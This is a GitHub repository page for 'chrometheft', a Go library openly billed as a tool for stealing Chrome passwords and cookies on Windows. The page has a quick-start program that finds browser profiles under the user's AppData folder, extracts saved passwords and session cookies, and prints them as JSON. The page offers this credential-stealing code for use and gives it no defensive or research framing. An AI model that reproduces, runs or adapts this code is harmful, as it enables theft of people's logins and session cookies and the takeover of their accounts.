Skip to content

hax0r31337/chrometheft

Repository files navigation

chrometheft

Flexible Chrome password theft for Windows

Usage

Quick start

package main

import (
	"encoding/json"
	"fmt"
	"os"

	"github.com/kotonemywaifu/chrometheft"
)

func main() {
	browsers, err := chrometheft.DetectBrowsers(os.Getenv("USERPROFILE") + "\\AppData\\Local")
	if err != nil {
		panic(err)
	}
	for _, browser := range browsers {
		fmt.Println("Browser:", browser)

		fmt.Println("Passwords:")
		passwords, err := chrometheft.GetPasswords(browser)
		if err != nil {
			fmt.Println("Error:", err)
		}
		pwd, _ := json.Marshal(passwords)
		fmt.Println(string(pwd))

		fmt.Println("Cookies:")
		cookies, err := chrometheft.GetCookies(browser)
		if err != nil {
			fmt.Println("Error:", err)
		}
		cok, _ := json.Marshal(cookies)
		fmt.Println(string(cok))
	}
}

About

Flexible Chrome password/cookie theft for Windows

Resources

License

Stars

Watchers

Forks

Packages

 
 
 

Languages